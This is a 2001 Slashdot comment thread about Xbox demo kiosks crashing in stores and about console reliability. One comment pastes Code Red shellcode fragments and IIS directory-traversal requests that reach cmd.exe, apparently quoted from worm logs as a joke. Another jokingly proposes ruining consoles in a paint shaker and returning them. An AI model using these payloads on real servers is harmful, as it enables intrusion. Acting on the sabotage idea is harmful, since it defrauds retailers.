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Games Entertainment

Crashing Xbox Kiosks 662

quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?
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Crashing Xbox Kiosks

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  • by bflong ( 107195 ) on Tuesday October 23, 2001 @01:40PM (#2466743)
    Wow! I've never seen *this* level before!
    I must have fallen into some opaque blue liquid.
    I hope I can swim to the top before I drown...

  • Xbox Crash (Score:4, Interesting)

    by Gildenstern ( 62439 ) on Tuesday October 23, 2001 @01:40PM (#2466745)
    I was playing one at Software Etc on Saturday.
    It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.

    Now I know it was probally getting abused but I dont't think that it should have done that.

    And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better
    • Re:Xbox Crash (Score:3, Informative)

      by Dimensio ( 311070 )
      I don't disagree regarding the graphics. The only playable demo at the local software stores where I live is Munch's Oddysee. I know that it's a first-gen game but I remember many first-gen PS2 games that looked better (better texture quality, mostly).

      The rest of the disc was just "non-interactive", and I try not to judge game footage based upon console FMV -- there is always significant degredation of the image quality. Still, it didn't impress me terribly, didn't look like anything I'd want to play.
    • Re:Xbox Crash (Score:3, Insightful)

      by ryanvm ( 247662 )
      And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better.

      I'm sorry, but your video card alone cost between $200 and $350. Exactly what is the point of comparing a $1000 computer with a $299 console?

      Say what you will of Microsoft, but $299 for a 700 Mhz PIII with an nVidia chipset is a suhweeet deal.

      I'm just interested to see how long it takes the hacker community to turn these things into coolest looking Linux workstations ever.

  • by ttyRazor ( 20815 ) on Tuesday October 23, 2001 @01:41PM (#2466755)
    Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.
    • by erpbridge ( 64037 ) <steve@erPERIODpbridge.com minus punct> on Tuesday October 23, 2001 @01:48PM (#2466831) Journal
      Problem is, Microsoft (and for that matter, anyone making a console system or piece of a home entertainment center) needs to keep in mind that it is all too possible that this piece of equipment WILL be put into a space with about a finger's worth of clearance on each side and top, and will possibly also have a couple things stacked on top of it. They need to design them either for quick heat dissipation, or low heat generation.

      The kiosk is spacious compared to what some will go through....
      • Not only that, but it will also be banged around. I see failed HD's being a thorn in MS's side. Either they fix 'em as they go bad (and with piss poor ventalation and kiddies manhandling 'em they're going to go bad quicker than normal) and eat a lot of $$$, or they don't fix 'em and piss off a lot of customers.
        • by cloudmaster ( 10662 ) on Tuesday October 23, 2001 @03:02PM (#2467584) Homepage Journal

          Either they fix 'em as they go bad (and with piss poor ventalation and kiddies manhandling 'em they're going to go bad quicker than normal) and eat a lot of $$$, or they don't fix 'em and piss off a lot of customers.

          Hmm, will MS take the cash hit, or piss off consumers with low quality service. If only they had set an earlier precedent so we could infer how they'd behave now...

          • Very good point.. and that's the rub.

            "Fuck the customer" works well with 85%+ market share (and in console land Atari had somewhat the same attitude during the 2600 days as well). But when you've got 2 entrenched competitors to worry about, you're suck. They'll have to eat the $$$ and fix 'em.

            Write crappy software that doesn't sell and you're out development and marketing costs (and some point of sale distribution costs as well). Make crappy hardware that you're selling at a loss (with the hope of making it all back up in SW) and you're screwed.. big time. When soccer mom goes to Walmart and has 3 game systems in front of her, and one has a reputation of possibly being DOA, she's going to pick on of the other two.

            With all of the comp. MS has to fase in the console world, a system with a bad reputation for stability is gonna Kill 'em. You can update designs and make the next revision of the hardware stable, but the reputation is a lot harder to repair.
    • The boxes I've seen recently had large vent holes on the sides and/or rear and appeared to have a fan or two. Before the XBox this was primarily to prevent the TV or monitor from overheating though. I haven't made a conscious effort to look at an XBox demo, but the stores in my area often use the same displays for various consoles.
  • I played the demo box at target. There were like 9 different demos that were just presentations, but there was at least one (the topmost option) that you could actually play... you had to run around and gather coins basically. It wasn't much of a game, being just a demo, but the controls were good and the graphics were cool. As long as the Xbox doesn't get a reputation for blue screen of deathing all the time.... i might consider buying one.
  • you betcha! (Score:4, Redundant)

    by HongPong ( 226840 ) <hongpongNO@SPAMhongpong.com> on Tuesday October 23, 2001 @01:41PM (#2466762) Homepage
    Is DOA3 still planned as x-box only?

    I say if the X-box is crashing this much it's pretty much DOA already.

  • by guru_steve ( 205501 ) on Tuesday October 23, 2001 @01:42PM (#2466768)
    Found this interesting picture [hardocp.com] of a screenshot from an XBox console having problems loading a file.

    Don't know if it's authentic though

  • Better the Xbox kiosk than a bank machine (I'm sure you've all seen the pictures)... or airport arrival/departure screens... or on ad billboards... or...
  • fucking retards (Score:2, Interesting)

    by mosch ( 204 )
    who would want a first-gen microsoft designed console anyway? Everybody knows microsoft gets it almost right on the third try, not the first try.

    As far as DOA goes, yeah, I think the X-Box is DOA.

  • by mystery_bowler ( 472698 ) on Tuesday October 23, 2001 @01:44PM (#2466786) Homepage
    A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."

    Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.

    • PS2 does have some backwards compatability problems with a few PSX games (often those problems pop up only when using the "advanced" PSX features: texture smoothing and fast disc access). It also has some problems with a few DVD movies (may of which are resolved with updated drivers that can be put on a memory card), but 1) every DVD player has problems with at least a disc or two and 2) the PS2 is marketed as a PS2 game playing console first, DVD player second.
      I've also never seen an incident of a PS2 breaking down or crashing in a kiosk (though I never asked much).

      I've lurked quite a bit on PS2 discussion boards and I've not heard much about problems with actual PS2 games on the PS2 console. Pretty stable, apparently.
      • The PS2 isn't the most reliable console.. in addition to DVD and PSX problems you mentioned, my PS2 decided to stop reading CDs a few months after the warranty ended (90 days? ack!). DVDs work fine, but most PS2 games are on CD which sucks. I had to open up the console and adjust a little potentiometer.. I guess it ups the laser power. it works great now, but I'm sure the laser is slowly burning holes through my discs. Consumers shouldn't have to choose between

        A. Paying $300 for a defective console, and then paying $120 more for the privilege of mailing it to Sony for repair


        B. Opening up the console and tinkering around inside
        • I have a PS2, and a PS1 along with a Dreamcast and I think the PS2 is definitely more stable than the Dreamcast.

          I've found that a lot of times, what looks like a PS2 lockup is just a data seek error and if you pop the game out and back in it works perfectly. After running an endurance race on GT3 for 2 hours over 2 days it froze, I freaked out. It's only done it twice, and Armored Core, Shinjuru or whatever it's called, and DOA2 have not had any problems.

          Dreamcast however you can crash reliably if you know how to do it (Best one is to change to wireframe mode in THPS2 and go to a high polygon area.)

          I'll keep supporting Sony, the PS1 was awesome and the PS2 is so far pretty solid - and mine is a first gen.

    • I've never had a PS2 lock up on my. Also, it plays my Gladiator DVD fine, whereas playing it o my PC causes it to lock up in this one specific part every time (when Maximus is fleeing the prison), boht in windows and linux. Dunno whats up, maybe bad sector on the disk? Anyways, the PS2 rolls through it without even a skip.

    • A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."

      The X-Box might still be a flop, but not because of stability. The first batch of PSXs was notoriously unstable (anyone remember having to flip the stupid things *upside-down* in order to keep them from freezing during cutscenes?) and older cart-based systems were prone to lockups as they collected more dirt - but people bought them just the same.

      In this case, heat is the likely culprit; there simply isn't that much to go wrong just running a demo screen.

      As for the market in general, consoles aren't a good way to make a lot of money. Even if the X-Box is a success, Microsoft will lose a ton subsidizing the hardware. And even if the X-Box becomes the dominant gaming console, it's unlikely that dominance will stay around for long since the business changes so rapidly.

    • I left my PS2 on for a week to see if it would crash due to overheating or anything, but it never did. Granted, the game was paused, so the CPU(s) and drive weren't doing much. However, the USB Logitech force-feedback wheel for GT3 on the PS2 is notoriously buggy due to poor drivers or whatever... sometimes the wheel just stops responding.

      I've never had an actual *crash* from my Dreamcast or my PS2... or any other console for that matter, aside from freezes due to scratched disks or worn-out CDROM drives.

      However, I've heard of the Turok game for N64 being buggy, with lockups and even partial memory/stack dumps being printed to the screen (I've read about it online, plus witnessed a 7-year old kid telling an EB clerk about the problem at the store). Apparently there were like 2,3 or 4 revisions of the game released (not sequels, just revisions trying to fix the bugs), though I could be wrong, since I've never even played the game.
      • The funniest crash I've seen is in the N64 game Conker's Bad Fur day. Don't read this if you don't like spoilers. Towards the end, Conker is about to be killed by an "Aliens" xenomorph. Then it freezes. Solid. Conker looks around. Just his eyes move. Then he climbs out of the "Aliens" exoskeleton, looks around, and says something to the effect of 'oh look, a total freeze/lockup bug made it past the programmers." He then proceeds to blackmail the programmers (who interact with him through a green c:\ type prompt which appears on screen) to get rid of the beastie and give him cool things.
    • by dark_panda ( 177006 ) on Tuesday October 23, 2001 @04:19PM (#2468300)
      Early PS2 releases were known to be somewhat buggy. Several games like Madden 2001 and Tekken Tag Tourament were known to cause regular lockups way back during the PS2 release. This was later fixed in subsequent versions. The shitty thing is is that you can't tell one version from the next, and I think the license even says they can change the game without notice, so if you get a buggy one, you're out of luck when they release a fixed edition.

      I rented one of the buggy TTTs a few weeks ago. I could barely play an entire game without it locking up.

      The recent Gauntlet title, Dark Legacy, has also locked up my machine on a few occaisons.

  • by siegesama ( 450116 ) on Tuesday October 23, 2001 @01:45PM (#2466795) Homepage

    Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".


    oh, wait. What? Oh, XBox. Right.
    • Ahh, those were the days.. We didn't just EXPECT our video games to work, if you wanted to play Punch out you had to EARN it! And if you didn't have the touch, well, you were still entertained by that flashing red light on the console! We didn't need 3D, we had a flashing red light! You kids have it easy.
  • Out of the 20 gamers I know, about 19 of them are unwilling to purchase XBox simply because of Microsoft's good name.

    While the OS on other game consoles ends up crashing occasionally too (in spite of the almost complete lack of a visible OS) they'd believe anything about the Microsoft one crashing anyway, without needing a demonstration.

    Its almost a shame these people don't take their expectations of one complex computer system and attach them to another, like, say, a desktop.
  • Activation (Score:2, Funny)

    by nexex ( 256614 )
    Hmm, perhaps they have not completed the required product activation ala WinXP :)
  • by hawk ( 1151 )
    >Out of five stores that have
    >layable demos within a ten mile area, only two have working units,"
    >ays one Babbage's employee." It's funny because it's Microsoft. Get
    >t? It's... oh never mind. Is DOA3 still planned as x-box only?

    so far, DOA3 is only available at 3 of the 5 stores in the local area. After an hour or two, though, it's likely that DOA4 will arrive, with DOA5 applying by the end of the day . . .



  • Being a long time gamer and a fervent computer user, I came to a decision about a month and a half ago.
    I'm no longer going to use microsoft products in my home. My girlfriends computer is going to get a fresh install of Redhat in about two weeks and that should be the last of it.
    The only shortfall to the whole thing has been the lack of mmog's to play under linux. I figure this will take a little time, but it'll get there eventually (most likely in the form of a game / games that play on all platforms..)
    I went and bought a ps2 this summer, and some of the games coming out right now, Ico (SCEA) and Devil May Cry are absolutely stunning single player games. It will be interesting to see what happens when the net adapter and hard disk come out for the ps2, but in the meantime, based on principle I've made a few smaller decisions.
    I won't be installing explorer 6.x+ ever (even at work), and I won't be buying an Xbox. Some of the stuff that Microsoft is doing with their licensing practices, as well as the shoddy quality of all their products since they were born just don't warrant rewards.
    Then again, I'll most likely be one of those parents that spanks their kids as a disciplinary action as well, so maybe that just makes me a great big asshole.
    Nobody should be siding with microsoft in any of their endeavors, I wonder why nobody is standing up and saying anything like this, now that MS is reaching into the gaming arena.
    Still, it's rather humorous that some of the demo systems don't work, and people will still run out and buy them like lemmings.

  • by Junks Jerzey ( 54586 ) on Tuesday October 23, 2001 @01:50PM (#2466856)
    Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.

    Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.
    • But Microsoft's mantra is: "If it's broken, then make them buy another".

      • nono... they'd start blaming the user for not applying the hourly patch, lobbying to make it illegal to share how to prevent triggering those bugs and lastly demand that any X-box producers be called terrorists....
    • by zulux ( 112259 )
      Ok... Lets assume you don't like Microsoft. Now buy an X-Box and take it to your local True-Value and ask the paint guy to stick the X-Box in the vibrating/shaking-paint-mixer-thing. The X-Box will now have a ruined hard-drive. Return the X-Box and repeat untill you see Bill Gates bumming quarters for sex in your local slum.

  • by Animats ( 122034 ) on Tuesday October 23, 2001 @01:51PM (#2466875) Homepage
    The last time I was in Microsoft's retail outlet at the Sony Metreon in SF, two of the six game stations (Win2K PCs, not XBox) had crashed.

    Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)

    The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.

  • Maybe the X in X box really stands for MSX.

    I have a feeling (due to the economy, et al) that MS may be looking at MSX part deux, except this time they're on the hook for the hardware as well. Even if the X-box is successful its gonna hit MS's bottom line for a year or so (to the tune of a billion or so). Add "reliability" problems to it and you can kiss it goodbye.

    I wonder if after the christmas season it is not living up to expectation how long until MS kill it. It ain't cheap (subsidising each machine.. ask Sega), and the stench of death over a console machine is damn near impossible to overcome (even if you iron out bugs in the next batch of machines). Its not like its software and you can issue patches owners can download.

    *IF* (and its a big if) this is a sign of things to come for the X-box (and I'll give MS the benifit of the doubt and say it isn't) could cost a LOT of money.

  • by Magumbo ( 414471 ) on Tuesday October 23, 2001 @01:54PM (#2466904)
    u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b% u5 3ff%u0078%u0000%u00=a

    GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
    GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
    GET /scripts/root.exe?/c+dir
    GET /MSADC/root.exe?/c+dir
    GET /c/winnt/system32/cmd.exe?/c+dir
    GET /d/winnt/system32/cmd.exe?/c+dir
    GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
    GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
    GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
    GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
  • Several Toys R Us employees did not know what went wrong with the Xbox demo unit that now carried a "Out of Order" sign. The store received their unit on Tuesday. The in-store demo units are believed to be actual finalized hardware that consumers will see at launch.

    (emphasis mine)

    I'd like to see this confirmed first. However whichever way you look at it, it is pretty damn silly to have either a beta box or a buggy game running in shops.

    I don't think it would be unfair to suggest that the one that does finally go into retail won't be as bad as this.

  • Did MS design the XBox's hardware? A bug in software is easily fixed with a patch, but what do they do when they find out the hardware is flawed? Or is there some process to eliminate hardware bugs before they wreak havoc? (I seem to remember one of Intels chips getting to market with bugs)
  • I saw one of the demo kiosks. I was kind of disappointed that there was only one demo that wasn't "Non-interactive". I was amused at the title of the last non-interactive demo - "Microsoft Legal Information" or something similarly ominous.

    I was afraid to look at it because it was probably a EULA that would legally bind me to buy XBox games exclusively, and turn in all my Playstation games to the console Police (or something like that).

  • by supabeast! ( 84658 ) on Tuesday October 23, 2001 @01:55PM (#2466912)
    Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.

    Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...
    • Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions.

      This is not a demo unit. This is believed to be actual release hardware.

      Now, everyone knows that if the unit is in a poorly ventilated area and using serious CPU/GPU/SPU software, it will generate heat and crash. BUT, the article says these are crashing on boot, or when trying to access menus, etc. This should not cause serious overheating!

      Also, given Micro$oft's (Get it? I used a '$' instead of an 's'. I am witty.) well known totalitarian deployment arm, I would be surprised to learn that these machines were in anything other than officially authorized kiosks (with air conditioning or something!).

      So, is this really not a Microsoft problem? Me thinks not.
    • Just a thought, but if you are trying to say that this is not a Microsoft problem, you probably shouldn't say "The Dreamcast crashed." It (in case anyone doesn't remember) was running Win CE [microsoft.com].

      I really don't think that this is going to be indicative of the overall performance of the XBox. I just think that Microsoft has a (well deserved) reputation for unstable operatin systems. They build that reputation over 10 years, so you can't expect it to dissapear overnight.
      • Just a thought, but if you are trying to say that this is not a Microsoft problem, you probably shouldn't say "The Dreamcast crashed." It (in case anyone doesn't remember) was running Win CE [microsoft.com].

        I really don't think that this is going to be indicative of the overall performance of the XBox. I just think that Microsoft has a (well deserved) reputation for unstable operatin systems. They build that reputation over 10 years, so you can't expect it to dissapear overnight.

        WinCE was an add-on that had to be on the CD a game was on (ie if the developer chose to develop under it) I never had a single game that used WinCE.

  • by Anonymous Coward on Tuesday October 23, 2001 @01:55PM (#2466921)

    I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.

    It's funny because it's Microsoft.

  • And people wonder why I always have to spell the name of the town I live in.

    Anyway, Microsofts poor software has kept me employed for 5 years, and this is just reinforces that belief.

  • by Mustang Matt ( 133426 ) on Tuesday October 23, 2001 @01:56PM (#2466926)
    Interpret the BSOD - Coming soon to video game stores near you!

    Publisher: Microsoft 2001
    Retail: $79.95/year license
    EULA: You agree to the terms inside the package by opening the package.
  • Jumping the Gun... (Score:4, Insightful)

    by FortKnox ( 169099 ) on Tuesday October 23, 2001 @01:59PM (#2466966) Homepage Journal
    Here goes some precious karma

    "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee

    That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.

    Think we are jumping the gun? Maybe its under super-scrutiny cause its microsoft, and people are taking advantage.

    And the above quote (which will probably get that babbage's employee fired), is most likely an anti-MS/Linux Zealot out for blood against the X-Box. I don't see it very believable.

    Lets wait for a few days AFTER they release the X-Box to kill it, k?
    • These are hardly the first reports of Xbox instability -- it has been rumored to crash frequently since the pre-E3 days.

      If you want a semi-scientific study, you need to compare it against Nintendo's GameCube, which is slated to launch three days later and is also present in kiosks. I have heard zero (0) reports of GameCube crashes, which may or may not be due to reporting bias (in other words, people may just not feel it necessary to point out GC crashes, while Xbox crashes are a Big Deal).

      So, we have 250,000 geeks at our disposal. Let's get some reports from the field. Go to a Toys R Us. How many Xboxes? How many of them were crashed or out of order? How many GameCubes? How many of them were crashed/OOO?

      Should be very easy to spot a trend.
    • This is not an issue where "Microsoft is evil, let's make fun of them." This is a matter of public perception. Historically, they have made unstable [microsoft.com] operating systems. It doesn't take a "Linux Zealot" to disparage Microsoft products. It takes a track record of stability (insert favorite link to stable OS, be it BSD, Linux, Win2K etc. here) to change public perception.
  • by GoofyBoy ( 44399 ) on Tuesday October 23, 2001 @01:59PM (#2466971) Journal
    • Bad usability .. Microsoft should really hire some HCI people. You _never_ ask people to "OK" (a positive thing) an error (a negative thing) .. "no, it's not ok!" ..
    • Cute. Isn't that the screen from the XDK (X-Box Developer's Kit)? Couldn't that error message be from something like a program bug that the programmer made, or a bad copy of a disc or something? Gee, you know, if I were a developer working on a development kit, I think I'd like to see some sort of error message to help me debug it. Call me crazy.

      Oh wait, it's Microsoft, right? So surely if they screw up with ANYTHING, it's got to be good news for everyone!

    • by Shaheen ( 313 ) on Tuesday October 23, 2001 @03:09PM (#2467660) Homepage
      This is not a green screen of death. Heck, imagine running an executable from the commandline of a linux box:

      chmod +x textfile.txt

      You'll get an error that the format was unknown.

      This is the same deal. Someone tried to load an xbox executable with a bad format. It was likely that the executable was compiled with a different Xbox Development Kit version than the previously loaded executable.

      If the Xbox really did crash, what would happen is that the framebuffer would lock up and you would see the same screen forever.

      This image is not an Xbox crashing
      • Someone tried to load an xbox executable with a bad format. It was likely that the executable was compiled with a different Xbox Development Kit version than the previously loaded executable.
        Ummm, this is a screen shot of a crashed xbox from a kiosk in a software store.

        How the heck do you think an executable compiled on a different Xbox Development Kit would get onto that box? Microsoft almost certainly sent these things out as packages - hardware, software, kiosk, marketing material, the works, all in one big crate to the store, along with detailed information on how to set it up.

        Therefore, this image is an Xbox crashing - or at least, the DVD drive is broken - like the error message says - "could not load executable..." - so either the hardware or the software is bad.

  • If the XBox dosen't work we won't buy them
    Only the first few will and they'll report how flaky they are.

    If Microsoft pulls monopolistic moves and pushes the other game consoles off the market will we be compelled to buy X Box?

    Productivity tools are a need. It dosen't matter if the program crashes or dosen't work 90% of the time.. It's needed.

    But on a game console.. thats a diffrent story.
    Some people have jobs that suck most of the time. They do them anyway. They have to pay rent...

    But nobody has a hobby that sucks most of the time. At least to them anyway.

    If X Box isn't 100% great it's dead....
    If Microsoft monopolises the market and crams the X Box the market dies with the X Box.

    There is only one standard.. It must be fun.. if it's no fun it's dead...
  • Xbox and Marketing (Score:3, Interesting)

    by raumdass ( 210351 ) on Tuesday October 23, 2001 @02:04PM (#2467024)
    It's not the crashing that I find so interesting, I mean it would be beating a dead horse to accuse Microsoft of releasing things that don't always operate as expected. What I think is strange is the lack of Microsoft branding in the promotional kiosks and posters I've seen. Taco Bell is running this huge promotion for the Xbox and there is no mention of Microsoft anywhere on the signage. I've seen a simmilar lack of the ubiquitous microsoft logo on the few kiosks displaying Xbox games and systems that I've seen. Given that I can't boot up Windows without seeing the Microsoft logo 10 times, this seems a little odd. Is it perhaps because we expect things like video game consoles not to crash? Are they trying to distance their reputation for blue screens and error messages from their entry into the console market? Ever remember rebooting your SNES because it just stopped working? Ever had to upgrade your Playstation because of buggy code? Me neither.

  • ...that Microsoft stays out of the medical electronics industry. BSOD to the extreme.

  • I can recall LOTS of cases where I've seen kiosks for other game consoles "down and out" so to speak. It's a pretty common occurence, really.

    You have to think about the fact that these units sometimes have to put up with a lot of abuse when on public display. Yes, they're oftentimes enclosed in plexiglass and such, but that's not total protection.

    On the other hand, I do know that these boxes run a good deal hotter than your average console, owing to increased "power". Taking that into account, a nice tight protective enclosure might not be such a great idea (I wouldn't try sealing my box up in a tight space and running it 24x7 either).

    Of course, on the *really* personal opinion side of this, I think Microsoft has probably goofed when it comes to designing this thing to really last. It's overjuiced in my opinion, runs entirely too hot (and might be too fragile too) for constant use and bumping "by the kids" (hey, I'm a big kid, all that about more expensive toys, yada yada yada).

    Man, just when I thought my little bubble world could be Microsoft free... I've already ditched the software side of things :).

    Just some thoughts, nothing more.

  • The people who develop for the X-Box will mainly be PC companies. These companies are new to the console market, when the game need to be ready when it comes out. No "ooops, sorry, here is the patch" are allowed!

    Note that this is true for Microsoft as well...
    I just think that the X-Box has not got the infrastructure to support this kind of working. PC users are used to Windows crashing and hanging, I am not so sure about console players!I for one, don't believe the X-Box will be the big success every one expects. It might be the fastest on the paper, but I still think the PS2 and Sony are going to eat X-Box and Microsoft alive in the console market!

    I believe a gaming console is closer to a TV or VCR than to a PC, so I believe that Microsoft is going to fail in this new market!

    Let's see what the situation is in one year!
  • Even with a worst case scenario that the XBOX blows and we get good, cheap, small form factor boxes out of most PC vendors.
  • Xbox Rumors (Score:3, Interesting)

    by Majix ( 139279 ) on Tuesday October 23, 2001 @02:39PM (#2467387) Homepage
    http://www.penny-arcade.com/xboxfiles.php3 [penny-arcade.com]


    A friend of mine (which we will call "Dave" to keep his real name anonymous) works there and was assigned to the XBOX project a month ago. (shocking!) Now you may imagine it must been a really busy month building and testing XBOXes and stuff but.. can you handle the truth? can you?!

    According to Dave he has spent the last month doing.. (dramatic pause!) absolutely nothing. As a matter of fact he has been lingering around watching videos on the net and trying to appear to be busy. Why? because they didnt have anything to build! the xbox design finally went into production last SUNDAY! (september 23 2001) (truly shocking!!)

    Now what happens if you start production on Sunday on a Mexican factory ? (dramatic pause allowing you to answer) NOBODY is there to do it! only those who are unlucky enough to be there doing extra time, (like poor old Dave was) But they were ORDERED to do it anyway. No QA guys, no big bosses nothing, just a bunch of employees, trying to build a machine for the first time ever! (shocking, er, shocking!)

    As you may have guessed things didnt went very smooth, as a matter of fact they didnt go very smooth at all! lots of machines were so defective they didnt pass the normal standards and went back to the line again, Dave and his friend expent hours after hours trying to build the damn boxes but they still were defective, to make a large awful history short they only were able to build 10 Xboxes that day! 10! and those XBOXES who did make it only passed standard tests! no other testing was applied!

  • A good picture of an Xbox crash:

  • by Amon CMB ( 157028 ) on Tuesday October 23, 2001 @03:02PM (#2467593)
    This is the first time a console has been launched in America first for quite some time. Usually the majority of the kinks are worked out when systems ship in Japan first and later in the US. We're experiencing virtual "beta hardware" testing firsthand with Xbox.

    Second, there have been tons of reports of Xbox kiosks failing. Not just on GA. I've been reading a lot in the news and on many forums that Xbox kiosk failures are happening very frequently, far more than any PS2 failures. I have yet to hear about a single GameCube failure since it launched in Japan, too.

    DOA3 has been reported to be heading to PS2 in the Official Playstation Magazine, along with a lot of Sega games that will merely premier on the Xbox.

    Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.

    Tecmo provided screenshot of DOA2:HC:

    Touched up screen of DOA2 [ign.com]

    What DOA2 really looks like:

    Real screenshot of DOA2 [ign.com]

    As you can see from these screenshots and movies not supplied by the overseers at Tecmo, the game doesn't really look that much different from DOA2.

    Movie of DOA3 [ign.com]

    Screenshots of DOA3 [gamespot.com]

    Not to mention the DOA series' gameplay is very shallow and caters to button mashing, not nearly as deep as Tekken and Virtua Fighter. From the reports it sounds like DOA3 is a carbon copy of DOA2 with prettier graphics. Odd that the DOA series has suddenly become big-game despite lackluster sales on PS2/DC... Maybe because it's on Xbox, because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?

    I'd say hold off on an Xbox until they work the kinks out and better games come out for it. The Dreamcast is dead but you can grab one for a very low price. The PS2 is the best platform for gaming now, there are so many good games out and coming out next month that my wallet is going to be screaming for mercy. GameCube looks solid but not quite as solid as the PS2. Wait and see if you are still uncertain.
  • by alcohollins ( 64804 ) on Tuesday October 23, 2001 @03:05PM (#2467621)
    Gaming Age has a response [gaming-age.com] from Microsoft about the broken XBox units.. Here's the scoop:

    A Microsoft representative has responded to yesterday's FiXbox story. Here's the official company line on in-store Xbox units.
    "With over 10,000 playable Xbox kiosks at retail over a month before launch, there are bound to be a few issues that crop up. Microsoft representatives are currently following up with retailers across the country to insure proper functionality of kiosks. Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."

  • Target Employee (Score:3, Informative)

    by superslacker ( 520675 ) on Tuesday October 23, 2001 @03:08PM (#2467647)
    I work on the salesfloor at a Target store and regularly work electronics. It seems every time I pass by the damn X Box kiosk I need to unlock it and reset it. The first day we had it the screen showed "Please Wait..." on the screen for the entire day until we managed to get keys to the kiosk to reset it. From what I've seen the graphics don't seem all that great, and the controls are much less than great. I think I'll just stick to my computer.
  • by Neck_of_the_Woods ( 305788 ) on Tuesday October 23, 2001 @03:44PM (#2467986) Journal
    What you need to do to clear this up is goto www.microsoft.com/xbox and download the newest Service Pack (sp1) for the Xbox. This should clear everything up for you. We will be releasing some Hotpatches in the next couple of days as our beta testers get thier hands on the games. I am sorry I ment to say our customers get thier hands on the game. We will not be changing the release date we will just include the SP1 cd with the release.


  • by kruczkowski ( 160872 ) on Tuesday October 23, 2001 @04:50PM (#2468554) Homepage
    I have to tell you all, I was playing this and thank God it crashed... I don't know if you all know about this new ActiveDeath [bbspot.com] technology.

    Also don't forget that you can preorder units now [bbspot.com]

Nothing is finished until the paperwork is done.